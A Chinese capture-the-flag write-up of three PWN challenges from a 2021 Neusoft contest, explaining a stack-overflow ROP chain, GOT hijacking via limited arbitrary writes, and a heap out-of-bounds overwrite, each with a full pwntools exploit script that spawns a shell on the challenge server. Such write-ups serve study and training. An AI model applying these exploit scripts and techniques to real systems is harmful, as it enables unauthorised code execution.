东软2021CTF--PWN--wp

  |  

第一次吃到东软的瓜,虽然是大连东软的(老NSUer气抖冷)……

justdoit

经过动态gdb发现,如果我们通过栈溢出劫持main重新运行,那么第二次输入的将放在第一次输入数据的上方。这样通过两次合理输入构造,我们可控的输入空间扩大。就可以在泄露出libc的真实地址的同时,然后mian程序流中。

1
2
3
4
5
6
7
8
00:0000│ rsp 0x7fffbfe39330 —▸ 0x4012b3 (__libc_csu_init+99) ◂— pop    rdi
01:0008│ 0x7fffbfe39338 —▸ 0x404028 (read@got.plt) —▸ 0x7f7373e188b0 (read) ◂— mov eax, dword ptr fs:[0x18]
02:0010│ 0x7fffbfe39340 —▸ 0x401030 (puts@plt) ◂— jmp qword ptr [rip + 0x2fe2]
03:0018│ 0x7fffbfe39348 —▸ 0x4011d5 (main) ◂— push rbp
04:0020│ 0x7fffbfe39350 —▸ 0x40123e (main+105) ◂— add rbp, rax
05:0028│ 0x7fffbfe39358 —▸ 0x4011d5 (main) ◂— push rbp
06:0030│ 0x7fffbfe39360 —▸ 0x40123e (main+105) ◂— add rbp, rax
07:0038│ 0x7fffbfe39368 ◂— 0x0

再通过LibcSearcher 找到system 和 /bin/sh 的真实地址,然后构造rop链get shell。

1
2
3
4
5
6
7
8
00:0000│ rsp 0x7ffc354e6078 —▸ 0x4012b3 (__libc_csu_init+99) ◂— pop    rdi
01:0008│ 0x7ffc354e6080 —▸ 0x7f6ad64b269b ◂— 0x68732f6e69622f /* '/bin/sh' */
02:0010│ 0x7ffc354e6088 —▸ 0x7f6ad6372e10 (system) ◂— test rdi, rdi
03:0018│ 0x7ffc354e6090 ◂— 0x0
04:0020│ 0x7ffc354e6098 —▸ 0x40123e (main+105) ◂— add rbp, rax
05:0028│ 0x7ffc354e60a0 —▸ 0x40123e (main+105) ◂— add rbp, rax
06:0030│ 0x7ffc354e60a8 —▸ 0x4011d5 (main) ◂— push rbp
07:0038│ 0x7ffc354e60b0 —▸ 0x40123e (main+105) ◂— add rbp, rax

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
#!/usr/bin/env python
# -*- encoding: utf-8 -*-

'''
@File : exp.py
@Time : 2021/12/04 17:36:49
@Author : lexsd6
'''

from pwn import *
from libcfind import * #https://github.com/lexsd6/LibcSearcher_plus

local_mote=0
elf='./justdoit'
e=ELF(elf)
context.log_level = 'debug'
context.arch=e.arch
ip_port=['47.106.172.144',65004]

debug=lambda : gdb.attach(p) if local_mote==1 else None

if local_mote==1 :
p=process(elf)
else :
p=remote(ip_port[0],ip_port[-1])

#0x00000000004012b3 : pop rdi ; ret
#0x404018 <puts@got.plt>: 0x00007f459ba23210 0x00007f459ba04dc0
#0x404028 <read@got.plt>:
#main 0x4011d5
p.recvuntil('Hi there! What is your name?')
p.send(p64(0x00000000004012b3)+p64(0x4011d5)+p64(0x4011d5))


p.sendline('-40')


p.recvuntil('Hi there! What is your name?')
#0x40123e
p.send(p64(0x00000000004012b3)+p64(0x4011d5)+p64(0x4011d5))

p.sendline('-40')
p.recvuntil('Hi there! What is your name?')
p.send(p64(0x00000000004012b3)+p64(e.got['read'])+p64(e.sym['puts']))
debug()
p.sendline('-40')

addr=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
log.info(hex(addr))
x=finder('read',addr)

p.send(p64(0x00000000004012b3)+p64(x.dump('str_bin_sh'))+p64(x.dump('system')))

p.sendline('-40')

p.interactive()

reallNeedGoodLuck

分析程序流发现,在进行任意地址覆盖写时。除了exit函数外的libc函数,都已经延迟绑定完毕。而我们只能覆盖4个字节,单纯操作难以直接修改任何libc为system,同时发现程序流有exit函数来控制结束 ,所以只能先覆盖exit函数来控制程序流。继续审计程序代码发现,在我们通过劫持 exit 函数再次进入程序流时 init函数作用可有可无,同时 init函数中的setvbuf函数不仅got地址可以被我们劫持,第一个参数stdin也受我们控制。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
0000000000401166                 public init
.text:0000000000401166 init proc near ; CODE XREF: main+1C↓p
.text:0000000000401166 ; __unwind {
.text:0000000000401166 push rbp
.text:0000000000401167 mov rbp, rsp
.text:000000000040116A mov rax, cs:stdin@GLIBC_2_2_5 // puts.got
.text:0000000000401171 mov ecx, 0 ; n
.text:0000000000401176 mov edx, 2 ; modes
.text:000000000040117B mov esi, 0 ; buf
.text:0000000000401180 mov rdi, rax ; stream
.text:0000000000401183 call _setvbuf// puts
.text:0000000000401188 mov rax, cs:__bss_start
.text:000000000040118F mov ecx, 0 ; n
.text:0000000000401194 mov edx, 2 ; modes
.text:0000000000401199 mov esi, 0 ; buf
.text:000000000040119E mov rdi, rax ; stream
.text:00000000004011A1 call _setvbuf
.text:00000000004011A6 nop
.text:00000000004011A7 pop rbp
.text:00000000004011A8 retn
.text:00000000004011A8 ; } // starts at 401166
.text:00000000004011A8 init endp

因此我们先劫持exit让其跳转到执行完init函数处即0x0000000004011CA位置。然后修改setvbuf函数为puts函数。再将stdin地址改puts got 地址与劫持exit函数为完整mian函数来泄露出真实地址。(其实直接stdin,就可以泄露出,但本地环境中常泄露出截断符)

然后再将atoi函数劫持为system,再传入/bin/sh\x00即可以getshell。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
#!/usr/bin/env python
# -*- encoding: utf-8 -*-

'''
@File : exp.py
@Time : 2021/12/04 14:33:30
@Author : lexsd6
'''

from pwn import *
from libcfind import * #https://github.com/lexsd6/LibcSearcher_plus

local_mote=0
elf='./reallNeedGoodLuck.1'
e=ELF(elf)
context.log_level = 'debug'
context.arch=e.arch
ip_port=['47.106.172.144',65003]

debug=lambda : gdb.attach(p) if local_mote==1 else None

if local_mote==1 :
p=process(elf)
else :
p=remote(ip_port[0],ip_port[-1])
#0x404018 <puts@got.plt>:
#0x404038 <exit@got.plt>:
#0x404030 <atoi@got.plt>:
#0x00000000004012b3 : pop rdi ; ret
# 0x00404100
def edit(addr,date):
p.recvuntil('good')
p.send(p32(date))
p.recvuntil('luck! ')
p.sendline(str(addr))

main_addr_a=0X0000000004011CA
main_addr=0x0000000004011A9

edit(e.got['exit'],main_addr_a)
#00000000004011D4
#0x00000000004012b3
#exit 0x404038

edit(e.sym['stdin'],e.got['puts'])
edit(e.sym['stdin']+4,0)

edit((e.got['setvbuf']),(e.plt['puts']))
edit((e.got['setvbuf'] + 4),(0))

debug()
#p.recv()
edit(e.got['exit'],main_addr)
#p.recvline()
p.recvline()
addr=u64(p.recvuntil('\x7f').ljust(8,'\x00'))
log.info(hex(addr))



x=finder('puts',addr)
#edit(e.got['exit'],main_addr_a)

p.send(p32(main_addr_a))
p.recvuntil('luck! ')
p.sendline(str(0x404038))

system_addr=x.dump('system')
log.info(hex(system_addr))

edit(e.got['atoi'],u32(p64(system_addr)[:4]))

edit('/bin/sh\x00',main_addr_a)
p.interactive()

iterator

在overwrite功能在修改变量大于原数量时,修改数据会越界。把下个chuck数据修改,加个PIE未开,可以劫持got表。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
#!/usr/bin/env python
# -*- encoding: utf-8 -*-

'''
@File : exp.py
@Time : 2021/12/05 09:53:58
@Author : lexsd6
'''

from pwn import *
from libcfind import *


local_mote=1
elf='./iterator'
e=ELF(elf)
context.log_level = 'debug'
context.arch=e.arch
ip_port=['47.106.172.144',65001]

debug=lambda : gdb.attach(p) if local_mote==1 else None

if local_mote==1 :
p=process(elf)
else :
p=remote(ip_port[0],ip_port[-1])


def add(num):
p.sendline('1')
p.recvuntil('List count:')
p.sendline(str(num))
#print(p.recvline())

def ow(listn,st,ed,text):
p.sendline('4')
p.recvuntil('List id:')
p.sendline(str(listn))
p.recvuntil('Star id:')
p.sendline(str(st))
p.recvuntil('End id:')
p.sendline(str(ed))
p.recvuntil('New number:')
p.sendline(text)
def show(li,it):
p.sendline('2')
p.recvuntil('List id:')
p.sendline(str(li))
p.recvuntil('Item id:')
p.sendline(str(it))

def showall():
p.sendline('5')
def edit(li,it,text):
p.sendline('3')
p.recvuntil('List id:')
p.sendline(str(li))
p.recvuntil('Item id:')
p.sendline(str(it))
p.recvuntil('New number:')
p.sendline(text)
p.recv()
add(1)
add(2)
add(3)
add(4)
edit(1,0,'4')
edit(2,0,'2')
edit(2,1,'3')
showall()
edit(0,0,'111111')
ow(0,1,1,str(1))
ow(0,4,4,str(e.got['atoi']))
show(1,0)
p.recvuntil('Number:')
addr=int(p.recvline())
log.info(hex(addr))
x=finder('atoi',addr)
debug()
edit(1,0,str(x.dump('system')))
p.sendline('/bin/sh\x00')
p.interactive()
文章目录
  1. justdoit
  2. reallNeedGoodLuck
  3. iterator
|